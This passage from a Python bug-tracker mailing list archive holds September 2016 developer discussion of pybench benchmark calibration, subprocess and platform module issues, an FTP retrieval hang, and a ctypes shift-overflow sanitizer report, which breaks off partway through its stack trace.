    # 1-2 seconds.
    rounds = 100000

BTW: Why would you want to run benchmarks in child processes
and in parallel ? This will usually dramatically effect the
results of the benchmark runs. Ideally, the pybench process
should be the only CPU intense work load on the entire CPU
to get reasonable results.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15369>
_______________________________________

From report at bugs.python.org  Thu Sep 15 05:11:25 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 15 Sep 2016 09:11:25 +0000
Subject: [issue15369] pybench and test.pystone poorly documented
In-Reply-To: <1342446105.53.0.956340794171.issue15369@psf.upfronthosting.co.za>
Message-ID: <1473930685.22.0.675261440375.issue15369@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Hum, since the discussion restarted, I reopen the issue ...

"Well, pybench is not just one benchmark, it's a whole collection of benchmarks for various different aspects of the CPython VM and per concept it tries to calibrate itself per benchmark, since each benchmark has different overhead."

In the performance module, you now get individual timing for each pybench benchmark, instead of an overall total which was less useful.


"The number of iterations per benchmark will not change between runs, since this number is fixed in each benchmark."

Please take a look at the new performance module, it has a different design. Calibration is based on minimum time per sample, no more on hardcoded things. I modified all benchmarks, not only pybench.


"BTW: Why would you want to run benchmarks in child processes and in parallel ?"

Child processes are run sequentially.

Running benchmarks in multiple processes help to get more reliable benchmarks. Read my article if you want to learn more about the design of my perf module:
http://haypo-notes.readthedocs.io/microbenchmark.html#my-articles


"Ideally, the pybench process should be the only CPU intense work load on the entire CPU to get reasonable results."

The perf module automatically uses isolated CPU. It strongly suggests to use this amazing Linux feature to run benchmarks!
https://haypo.github.io/journey-to-stable-benchmark-system.html

I started to write advices to get stable benchmarks:
https://github.com/python/performance#how-to-get-stable-benchmarks

Note: See also the https://mail.python.org/mailman/listinfo/speed mailing list ;-)

----------
resolution: fixed -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15369>
_______________________________________

From mal at egenix.com  Thu Sep 15 05:21:26 2016
From: mal at egenix.com (M.-A. Lemburg)
Date: Thu, 15 Sep 2016 11:21:26 +0200
Subject: [issue15369] pybench and test.pystone poorly documented
In-Reply-To: <1473930685.22.0.675261440375.issue15369@psf.upfronthosting.co.za>
References: <1473930685.22.0.675261440375.issue15369@psf.upfronthosting.co.za>
Message-ID: <57DA6816.1020102@egenix.com>

On 15.09.2016 11:11, STINNER Victor wrote:
> 
> STINNER Victor added the comment:
> 
> Hum, since the discussion restarted, I reopen the issue ...
> 
> "Well, pybench is not just one benchmark, it's a whole collection of benchmarks for various different aspects of the CPython VM and per concept it tries to calibrate itself per benchmark, since each benchmark has different overhead."
> 
> In the performance module, you now get individual timing for each pybench benchmark, instead of an overall total which was less useful.

pybench had the same intention. It was a design mistake to add an
overall timing to each suite run. The original intention was to
compare each benchmark individually.

Perhaps it would make sense to try to port the individual benchmark
tests in pybench to performance.

> "The number of iterations per benchmark will not change between runs, since this number is fixed in each benchmark."
> 
> Please take a look at the new performance module, it has a different design. Calibration is based on minimum time per sample, no more on hardcoded things. I modified all benchmarks, not only pybench.

I think we are talking about different things here: calibration is
pybench means that you try to determine the overhead of the
outer loop and possible setup code that is needed to run the
the test.

pybench runs a calibration method which has the same
code as the main test, but without the actual operations that you
want to test, in order to determine the timing of the overhead.

It then takes the minimum timing from overhead runs and uses
this as base line for the actual test runs (it subtracts the
overhead timing from the test run results).

This may not be ideal in all cases, but it's the closest
I could get to timing of the test operations at the time.

I'll have a look at what performance does.

> "BTW: Why would you want to run benchmarks in child processes and in parallel ?"
> 
> Child processes are run sequentially.

Ah, ok.

> Running benchmarks in multiple processes help to get more reliable benchmarks. Read my article if you want to learn more about the design of my perf module:
> http://haypo-notes.readthedocs.io/microbenchmark.html#my-articles

Will do, thanks.

> "Ideally, the pybench process should be the only CPU intense work load on the entire CPU to get reasonable results."
> 
> The perf module automatically uses isolated CPU. It strongly suggests to use this amazing Linux feature to run benchmarks!
> https://haypo.github.io/journey-to-stable-benchmark-system.html
> 
> I started to write advices to get stable benchmarks:
> https://github.com/python/performance#how-to-get-stable-benchmarks
> 
> Note: See also the https://mail.python.org/mailman/listinfo/speed mailing list ;-)

I've read some of your blog posts and articles on the subject
and your journey. Interesting stuff, definitely. Benchmarking
these days appears to have gotten harder not simpler compared to
the days of pybench some 19 years ago.

-- 
Marc-Andre Lemburg
eGenix.com


From report at bugs.python.org  Thu Sep 15 05:21:34 2016
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Thu, 15 Sep 2016 09:21:34 +0000
Subject: [issue15369] pybench and test.pystone poorly documented
In-Reply-To: <1473930685.22.0.675261440375.issue15369@psf.upfronthosting.co.za>
Message-ID: <57DA6816.1020102@egenix.com>


Marc-Andre Lemburg added the comment:

On 15.09.2016 11:11, STINNER Victor wrote:
> 
> STINNER Victor added the comment:
> 
> Hum, since the discussion restarted, I reopen the issue ...
> 
> "Well, pybench is not just one benchmark, it's a whole collection of benchmarks for various different aspects of the CPython VM and per concept it tries to calibrate itself per benchmark, since each benchmark has different overhead."
> 
> In the performance module, you now get individual timing for each pybench benchmark, instead of an overall total which was less useful.

pybench had the same intention. It was a design mistake to add an
overall timing to each suite run. The original intention was to
compare each benchmark individually.

Perhaps it would make sense to try to port the individual benchmark
tests in pybench to performance.

> "The number of iterations per benchmark will not change between runs, since this number is fixed in each benchmark."
> 
> Please take a look at the new performance module, it has a different design. Calibration is based on minimum time per sample, no more on hardcoded things. I modified all benchmarks, not only pybench.

I think we are talking about different things here: calibration is
pybench means that you try to determine the overhead of the
outer loop and possible setup code that is needed to run the
the test.

pybench runs a calibration method which has the same
code as the main test, but without the actual operations that you
want to test, in order to determine the timing of the overhead.

It then takes the minimum timing from overhead runs and uses
this as base line for the actual test runs (it subtracts the
overhead timing from the test run results).

This may not be ideal in all cases, but it's the closest
I could get to timing of the test operations at the time.

I'll have a look at what performance does.

> "BTW: Why would you want to run benchmarks in child processes and in parallel ?"
> 
> Child processes are run sequentially.

Ah, ok.

> Running benchmarks in multiple processes help to get more reliable benchmarks. Read my article if you want to learn more about the design of my perf module:
> http://haypo-notes.readthedocs.io/microbenchmark.html#my-articles

Will do, thanks.

> "Ideally, the pybench process should be the only CPU intense work load on the entire CPU to get reasonable results."
> 
> The perf module automatically uses isolated CPU. It strongly suggests to use this amazing Linux feature to run benchmarks!
> https://haypo.github.io/journey-to-stable-benchmark-system.html
> 
> I started to write advices to get stable benchmarks:
> https://github.com/python/performance#how-to-get-stable-benchmarks
> 
> Note: See also the https://mail.python.org/mailman/listinfo/speed mailing list ;-)

I've read some of your blog posts and articles on the subject
and your journey. Interesting stuff, definitely. Benchmarking
these days appears to have gotten harder not simpler compared to
the days of pybench some 19 years ago.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15369>
_______________________________________

From report at bugs.python.org  Thu Sep 15 05:24:16 2016
From: report at bugs.python.org (Antti Haapala)
Date: Thu, 15 Sep 2016 09:24:16 +0000
Subject: [issue28165] The 'subprocess' module leaks roughly 4 KiB of memory
 per call
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1473931456.17.0.457287313325.issue28165@psf.upfronthosting.co.za>


Antti Haapala added the comment:

Ahhah, the title should say: subprocess module leaks 4kiB memory **per thread**.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Thu Sep 15 05:41:56 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 15 Sep 2016 09:41:56 +0000
Subject: [issue15369] pybench and test.pystone poorly documented
In-Reply-To: <57DA6816.1020102@egenix.com>
Message-ID: <CAMpsgwYaDK4ZVatGiYEhLAKs1WcZX5QELChjKEw8EWssW6a3Sw@mail.gmail.com>


STINNER Victor added the comment:

2016-09-15 11:21 GMT+02:00 Marc-Andre Lemburg <report at bugs.python.org>:
> I think we are talking about different things here: calibration is
> pybench means that you try to determine the overhead of the
> outer loop and possible setup code that is needed to run the
> the test.
> (...)
> It then takes the minimum timing from overhead runs and uses
> this as base line for the actual test runs (it subtracts the
> overhead timing from the test run results).

Calibration in perf means computing automatically the number of
outer-loops to get a sample of at least 100 ms (default min time).

I simply removed the code to estimate the overhead of the outer loop
in pybench. The reason is this line:

        # Get calibration
        min_overhead = min(self.overhead_times)

This is no such "minimum timing", it doesn't exist :-) In benchmarks,
you have to work on statistics: use average, standard deviation, etc.

If you badly estimate the minimum overhead, you might get negative
timings, which is not allowed in perf (even zero is an hard error in
perf).

It's not possible to compute *exactly* the "minimum overhead".

Moreover, removing the code to estimate the overhead simplified the code.

> Benchmarking these days appears to have gotten harder not simpler compared to the days of pybench some 19 years ago.

Benchmarking was always a hard problem. Modern hardware (Out of order
CPU, variable CPU frequency, power saving, etc.) problably didn't help
:-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15369>
_______________________________________

From report at bugs.python.org  Thu Sep 15 05:50:07 2016
From: report at bugs.python.org (Matthias Klose)
Date: Thu, 15 Sep 2016 09:50:07 +0000
Subject: [issue28167] remove platform.linux_distribution()
Message-ID: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za>


New submission from Matthias Klose:

platform.linux_distribution() was deprecated in 3.5, and should be removed.

Can't be kept up to date, see #18872, #19213, #20454, #1180267, plus uncounted issues closed as won't fix.

I'm surprised that #26041 removed the removal warnings again after such a long discussion.

----------
messages: 276541
nosy: berker.peksag, doko, ned.deily
priority: normal
severity: normal
status: open
title: remove platform.linux_distribution()

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28167>
_______________________________________

From report at bugs.python.org  Thu Sep 15 06:04:33 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Thu, 15 Sep 2016 10:04:33 +0000
Subject: [issue28167] remove platform.linux_distribution()
In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za>
Message-ID: <1473933873.47.0.700214229537.issue28167@psf.upfronthosting.co.za>


Changes by Chi Hsuan Yen <yan12125 at gmail.com>:


----------
nosy: +Chi Hsuan Yen

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28167>
_______________________________________

From report at bugs.python.org  Thu Sep 15 06:22:11 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 15 Sep 2016 10:22:11 +0000
Subject: [issue28167] remove platform.linux_distribution()
In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za>
Message-ID: <1473934931.96.0.310233525112.issue28167@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> platform.linux_distribution() was deprecated in 3.5, and should be removed.

Is it replaced with the distro package?

FYI I reported the issue to pip and it seems like pip now embeds and uses distro:

* https://github.com/pypa/pip/issues/3823
* https://github.com/pypa/pip/pull/3906

----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28167>
_______________________________________

From report at bugs.python.org  Thu Sep 15 06:30:52 2016
From: report at bugs.python.org (Berker Peksag)
Date: Thu, 15 Sep 2016 10:30:52 +0000
Subject: [issue28167] remove platform.linux_distribution()
In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za>
Message-ID: <1473935452.36.0.967218499837.issue28167@psf.upfronthosting.co.za>


Berker Peksag added the comment:

I think the current consensus is to keep old APIs around to make porting from Python 2 easier. That's why I opened issue 26041.

See also msg256111 and "Deprecation policy PEP" proposed at https://mail.python.org/pipermail/python-committers/2016-January/003706.html

If Marc-Andre (platform module maintainer) and Ned give their +1s, I don't have a strong objection against the removal of the function.

Also, it looks like I forgot to remove deprecated-removed directive in 5d9f961edc30: https://docs.python.org/3.6/library/platform.html#platform.linux_distribution

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28167>
_______________________________________

From report at bugs.python.org  Thu Sep 15 06:42:49 2016
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 15 Sep 2016 10:42:49 +0000
Subject: [issue28168] Use _winapi.WaitForMultipleObjects in Popen.wait()
Message-ID: <1473936169.85.0.779071092468.issue28168@psf.upfronthosting.co.za>


New submission from Eryk Sun:

On Unix, waiting on an instance of subprocess.Popen in the main thread is interruptible by Ctrl+C. On Windows, it currently calls _winapi.WaitForSingleObject, which isn't interruptible. It should instead call _winapi.WaitForMultipleObjects, which automatically adds the SIGINT event object from _PyOS_SigintEvent() when called from the main thread.

----------
components: Library (Lib), Windows
messages: 276544
nosy: eryksun, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: Use _winapi.WaitForMultipleObjects in Popen.wait()
type: enhancement
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28168>
_______________________________________

From report at bugs.python.org  Thu Sep 15 06:44:10 2016
From: report at bugs.python.org (Sohaib Ahmad)
Date: Thu, 15 Sep 2016 10:44:10 +0000
Subject: [issue27973] urllib.urlretrieve() fails on second ftp transfer
In-Reply-To: <1473174596.52.0.952829730129.issue27973@psf.upfronthosting.co.za>
Message-ID: <1473936250.24.0.619456161592.issue27973@psf.upfronthosting.co.za>


Sohaib Ahmad added the comment:

I didn't know that urllib.urlopen() retrieves complete object in case of FTP. When getresp() is called for big files (the one in issue26960), RETR command is initiated and server returns code 150 which means "standby for another reply" and there is where the control got stuck and issue26960 was reported.

This is the end of debug log with the file mentioned in issue26960, after which the control got stuck:

*cmd* 'TYPE I'
*put* 'TYPE I\r\n'
*get* '200 Type set to I\r\n'
*resp* '200 Type set to I'
*cmd* 'PASV'
*put* 'PASV\r\n'
*get* '227 Entering Passive Mode (130,133,3,130,207,26).\r\n'
*resp* '227 Entering Passive Mode (130,133,3,130,207,26).'
*cmd* 'RETR ratings.list.gz'
*put* 'RETR ratings.list.gz\r\n'
*get* '150 Opening BINARY mode data connection for ratings.list.gz (12643237 bytes)\r\n'
*resp* '150 Opening BINARY mode data connection for ratings.list.gz (12643237 bytes)'

And this is the end of debug log of a very small file transfer over FTP:

*cmd* 'PASV'
*put* 'PASV\r\n'
*get* '227 Entering Passive Mode (130,239,18,165,234,243).\r\n'
*resp* '227 Entering Passive Mode (130,239,18,165,234,243).'
*cmd* 'RETR Contents-udeb-ppc64el.gz'
*put* 'RETR Contents-udeb-ppc64el.gz\r\n'
*get* '150 Opening BINARY mode data connection for Contents-udeb-ppc64el.gz (26555 bytes).\r\n'
*resp* '150 Opening BINARY mode data connection for Contents-udeb-ppc64el.gz (26555 bytes).'
*get* '226 Transfer complete.\r\n'
*resp* '226 Transfer complete.'

The control returned successfully once FTP returned 2xx.

Please correct me if I am wrong but from the RETR command it looks like it is trying the retrieve the whole file in both cases. Is urlopen() supposed to retrieve files when called or just get the headers/information etc.?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27973>
_______________________________________

From report at bugs.python.org  Thu Sep 15 06:47:44 2016
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 15 Sep 2016 10:47:44 +0000
Subject: [issue28168] Use _winapi.WaitForMultipleObjects in Popen.wait()
In-Reply-To: <1473936169.85.0.779071092468.issue28168@psf.upfronthosting.co.za>
Message-ID: <1473936464.05.0.628825783498.issue28168@psf.upfronthosting.co.za>


Eryk Sun added the comment:

This patch makes the trivial change to the Popen.wait() method and also modifies _winapi.WaitForMultipleObjects to restart the wait if SIGINT is ignored or the handler didn't raise an exception.

----------
keywords: +patch
stage: needs patch -> patch review
Added file: http://bugs.python.org/file44673/issue_28168_01.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28168>
_______________________________________

From report at bugs.python.org  Thu Sep 15 06:49:42 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Thu, 15 Sep 2016 10:49:42 +0000
Subject: [issue27482] heap-buffer-overflow on address 0x6250000078ff
In-Reply-To: <1468246905.12.0.769586892118.issue27482@psf.upfronthosting.co.za>
Message-ID: <1473936582.39.0.387515181614.issue27482@psf.upfronthosting.co.za>


Francisco Couzo added the comment:

I can confirm this bug is also present in 3.7

----------
nosy: +franciscouzo
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27482>
_______________________________________

From report at bugs.python.org  Thu Sep 15 06:51:40 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Thu, 15 Sep 2016 10:51:40 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1473936700.35.0.493647124651.issue28128@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

Besides converting the DeprecationWarning to a Syntax{Error,Warning}, I don't see an easy way to include the offending line (or even file). The place in the code where the strings are created has no idea *where* they are being defined. AIUI, either we special-case this, or we resolve #28028 (but I don't think the latter can go in 3.6).

----------
assignee: ebarry -> 

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Thu Sep 15 07:13:59 2016
From: report at bugs.python.org (Roman Evstifeev)
Date: Thu, 15 Sep 2016 11:13:59 +0000
Subject: [issue27400] Datetime NoneType after calling Py_Finalize and
 Py_Initialize
In-Reply-To: <1467035358.55.0.678180807375.issue27400@psf.upfronthosting.co.za>
Message-ID: <1473938039.28.0.963980289224.issue27400@psf.upfronthosting.co.za>


Changes by Roman Evstifeev <someuniquename at gmail.com>:


----------
nosy: +Roman.Evstifeev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27400>
_______________________________________

From report at bugs.python.org  Thu Sep 15 07:23:35 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Thu, 15 Sep 2016 11:23:35 +0000
Subject: [issue28169] shift exponent overflow
Message-ID: <1473938615.31.0.984151049874.issue28169@psf.upfronthosting.co.za>


New submission from Francisco Couzo:

Steps to reproduce:
make distclean
LDFLAGS="-lasan -lubsan" CFLAGS="-fsanitize=address -fsanitize=undefined" ./configure
ASAN_OPTIONS="detect_leaks=0" make
UBSAN_OPTIONS=print_stacktrace=1 ASAN_OPTIONS="allocator_may_return_null=1:detect_leaks=0" ./python -m test.test_ctypes

/home/fran/code/cpython/Modules/_ctypes/cfield.c:580:5: runtime error: shift exponent 18446744073709551614 is too large for 32-bit type 'int'
    #0 0x7fb4b3d3f6f6 in h_get /home/fran/code/cpython/Modules/_ctypes/cfield.c:580
    #1 0x6fc95b in _PyObject_GenericGetAttrWithDict Objects/object.c:1060
    #2 0x6fc95b in PyObject_GenericGetAttr Objects/object.c:1121
    #3 0x9330a0 in builtin_getattr Python/bltinmodule.c:985
    #4 0x6e7d20 in _PyCFunction_FastCallDict Objects/methodobject.c:234
    #5 0x6e7d20 in _PyCFunction_FastCallKeywords Objects/methodobject.c:295
    #6 0x944cfc in call_function Python/ceval.c:4763
    #7 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #8 0x9407f0 in PyEval_EvalFrameEx Python/ceval.c:718
    #9 0x9407f0 in _PyFunction_FastCall Python/ceval.c:4845
    #10 0x945235 in fast_function Python/ceval.c:4880
    #11 0x945235 in call_function Python/ceval.c:4784
    #12 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #13 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #14 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #15 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #16 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #17 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #18 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #19 0x957bb0 in do_call_core Python/ceval.c:5032
    #20 0x957bb0 in _PyEval_EvalFrameDefault Python/ceval.c:3332
    #21 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #22 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #23 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #24 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #25 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #26 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #27 0x766761 in slot_tp_call Objects/typeobject.c:6146
    #28 0x5130b6 in _PyObject_FastCallDict Objects/abstract.c:2318
    #29 0x944103 in call_function Python/ceval.c:4787
    #30 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #31 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #32 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #33 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #34 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #35 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #36 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #37 0x957bb0 in do_call_core Python/ceval.c:5032
    #38 0x957bb0 in _PyEval_EvalFrameDefault Python/ceval.c:3332
    #39 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #40 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #41 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #42 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #43 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #44 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #45 0x766761 in slot_tp_call Objects/typeobject.c:6146
    #46 0x5130b6 in _PyObject_FastCallDict Objects/abstract.c:2318
    #47 0x944103 in call_function Python/ceval.c:4787
    #48 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #49 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #50 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #51 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #52 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #53 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #54 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #55 0x957bb0 in do_call_core Python/ceval.c:5032
    #56 0x957bb0 in _PyEval_EvalFrameDefault Python/ceval.c:3332
    #57 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #58 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #59 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #60 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #61 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #62 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #63 0x766761 in slot_tp_call Objects/typeobject.c:6146
    #64 0x5130b6 in _PyObject_FastCallDict Objects/abstract.c:2318
    #65 0x944103 in call_function Python/ceval.c:4787
    #66 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #67 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #68 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #69 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #70 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #71 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #72 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #73 0x957bb0 in do_call_core Python/ceval.c:5032
    #74 0x957bb0 in _PyEval_EvalFrameDefault Python/ceval.c:3332
    #75 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #76 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #77 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #78 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #79 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #80 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #81 0x766761 in slot_tp_call Objects/typeobject.c:6146
    #82 0x5130b6 in _PyObject_FastCallDict Objects/abstract.c:2318
    #83 0x944103 in call_function Python/ceval.c:4787
    #84 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #85 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #86 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #87 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #88 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #89 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #90 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #91 0x957bb0 in do_call_core Python/ceval.c:5032
    #92 0x957bb0 in _PyEval_EvalFrameDefault Python/ceval.c:3332
    #93 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #94 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #95 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #96 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #97 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #98 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #99 0x766761 in slot_tp_call Objects/typeobject.c:6146
    #100 0x5130b6 in _PyObject_FastCallDict Objects/abstract.c:2318
    #101 0x944103 in call_function Python/ceval.c:4787
    #102 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #103 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #104 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #105 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #106 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #107 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #108 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #109 0x957bb0 in do_call_core Python/ceval.c:5032
    #110 0x957bb0 in _PyEval_EvalFrameDefault Python/ceval.c:3332
    #111 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #112 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #113 0x9780b8 in _PyFunction_FastCallDict Python/ceval.c:4996
    #114 0x5132d7 in _PyObject_FastCallDict Objects/abstract.c:2297
    #115 0x513904 in _PyObject_Call_Prepend Objects/abstract.c:2360
    #116 0x5125ba in PyObject_Call Objects/abstract.c:2248
    #117 0x766761 in slot_tp_call Objects/typeobject.c:6146
    #118 0x5130b6 in _PyObject_FastCallDict Objects/abstract.c:2318
    #119 0x944103 in call_function Python/ceval.c:4787
    #120 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #121 0x9407f0 in PyEval_EvalFrameEx Python/ceval.c:718
    #122 0x9407f0 in _PyFunction_FastCall Python/ceval.c:4845
    #123 0x945235 in fast_function Python/ceval.c:4880
    #124 0x945235 in call_function Python/ceval.c:4784
    #125 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #126 0x9407f0 in PyEval_EvalFrameEx Python/ceval.c:718
    #127 0x9407f0 in _PyFunction_FastCall Python/ceval.c:4845
    #128 0x945235 in fast_function Python/ceval.c:4880
    #129 0x945235 in call_function Python/ceval.c:4784
    #130 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #131 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #132 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #133 0x944b2e in fast_function Python/ceval.c:4904
    #134 0x944b2e in call_function Python/ceval.c:4784
    #135 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #136 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #137 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #138 0x944b2e in fast_function Python/ceval.c:4904
    #139 0x944b2e in call_function Python/ceval.c:4784
    #140 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #141 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #142 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
    #143 0x944b2e in fast_function Python/ceval.c:4904
    #144 0x944b2e in call_function Python/ceval.c:4784
    #145 0x9564a2 in _PyEval_EvalFrameDefault Python/ceval.c:3266
    #146 0x9407f0 in PyEval_EvalFrameEx Python/ceval.c:718
    #147 0x9407f0 in _PyFunction_FastCall Python/ceval.c:4845
    #148 0x945235 in fast_function Python/ceval.c:4880
    #149 0x945235 in call_function Python/ceval.c:4784
    #150 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #151 0x9407f0 in PyEval_EvalFrameEx Python/ceval.c:718
    #152 0x9407f0 in _PyFunction_FastCall Python/ceval.c:4845
    #153 0x945235 in fast_function Python/ceval.c:4880
    #154 0x945235 in call_function Python/ceval.c:4784
    #155 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #156 0x9407f0 in PyEval_EvalFrameEx Python/ceval.c:718
    #157 0x9407f0 in _PyFunction_FastCall Python/ceval.c:4845
    #158 0x945235 in fast_function Python/ceval.c:4880
    #159 0x945235 in call_function Python/ceval.c:4784
    #160 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #161 0x9407f0 in PyEval_EvalFrameEx Python/ceval.c:718
    #162 0x9407f0 in _PyFunction_FastCall Python/ceval.c:4845
    #163 0x945235 in fast_function Python/ceval.c:4880
    #164 0x945235 in call_function Python/ceval.c:4784
    #165 0x95a0f4 in _PyEval_EvalFrameDefault Python/ceval.c:3250
    #166 0x94292f in PyEval_EvalFrameEx Python/ceval.c:718
    #167 0x94292f in _PyEval_EvalCodeWithName Python/ceval.c:4094
